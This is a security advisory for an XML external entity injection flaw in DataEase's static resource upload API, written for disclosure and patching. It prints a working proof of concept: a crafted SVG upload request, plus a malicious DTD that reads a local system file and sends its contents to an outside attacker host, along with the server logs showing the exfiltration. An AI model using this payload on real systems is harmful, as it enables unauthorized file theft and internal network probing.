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GHSA-4m9p-7xg6-f4mm

HighCVSS 7.5 / 10
Published Sep 23, 2024·Last modified Sep 23, 2024
Affected Components(0)

No affected components available

Description

Impact

There is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading.

  1. send request:
POST /de2api/staticResource/upload/1 HTTP/1.1
Host: dataease.ubuntu20.vm
Content-Length: 348
Accept: application/json, text/plain, */*
out_auth_platform: default
X-DE-TOKEN: jwt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn

------WebKitFormBoundary6OZBNygiUCAZEbMn
Content-Disposition: form-data; name="file"; filename="1.svg"
Content-Type: a

<?xml version='1.0'?>
    <!DOCTYPE xxe [
        <!ENTITY % EvilDTD SYSTEM 'http://10.168.174.1:8000/1.dtd'>
        %EvilDTD;
        %LoadOOBEnt;
        %OOB;
    ]>
------WebKitFormBoundary6OZBNygiUCAZEbMn--

// 1.dtd的内容
<!ENTITY % resource SYSTEM "file:///etc/alpine-release">
        <!ENTITY % LoadOOBEnt "<!ENTITY &#x25; OOB SYSTEM 'http://10.168.174.1:8000/?content=%resource;'>">
  1. After sending the request, the content of the file /etc/alpine-release is successfully read
::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] "GET /1.dtd HTTP/1.1" 200 -
::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] "GET /?content=3.20.0 HTTP/1.1" 200 -

Affected versions: <= 2.10.0

Patches

The vulnerability has been fixed in v2.10.1.

Workarounds

It is recommended to upgrade the version to v2.10.1.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/dataease/dataease Email us at wei@fit2cloud.com

Risk Scores
Base Score
7.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.

Threat Intelligence
6.9

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.67%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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